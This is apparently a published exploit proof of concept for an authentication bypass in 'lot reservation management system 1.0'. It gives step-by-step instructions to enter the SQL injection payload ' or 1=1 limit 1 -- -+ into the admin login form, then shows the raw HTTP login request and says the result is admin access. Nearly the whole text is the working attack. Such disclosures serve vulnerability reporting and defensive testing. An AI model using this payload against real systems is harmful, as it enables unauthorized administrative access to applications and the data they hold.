#Exploit Title: lot reservation management system 1.0 - Authentication Bypass  
#Date: 2020-10-22  
#Exploit Author: Ankita Pal  
#Vendor Homepage:  
#Software Link:  
#Version: V1.0  
#Tested on: Windows 10 + xampp v3.2.4  
Proof of Concept:::  
Step 1: Open the URL http://localhost:8081/lot-reservation-management-system/admin/login.php   
Step 2: use payload ' or 1=1 limit 1 -- -+ for both username and password.  
Malicious Request:::  
POST /lot-reservation-management-system/admin/ajax.php?action=login HTTP/1.1  
Host: localhost:8081  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0  
Accept: */*  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 71  
Origin: http://localhost:8081  
Connection: close  
Referer: http://localhost:8081/lot-reservation-management-system/admin/login.php  
Cookie: PHPSESSID=q9kusr41d3em013kbe98b701id  
You will be login as admin of the application.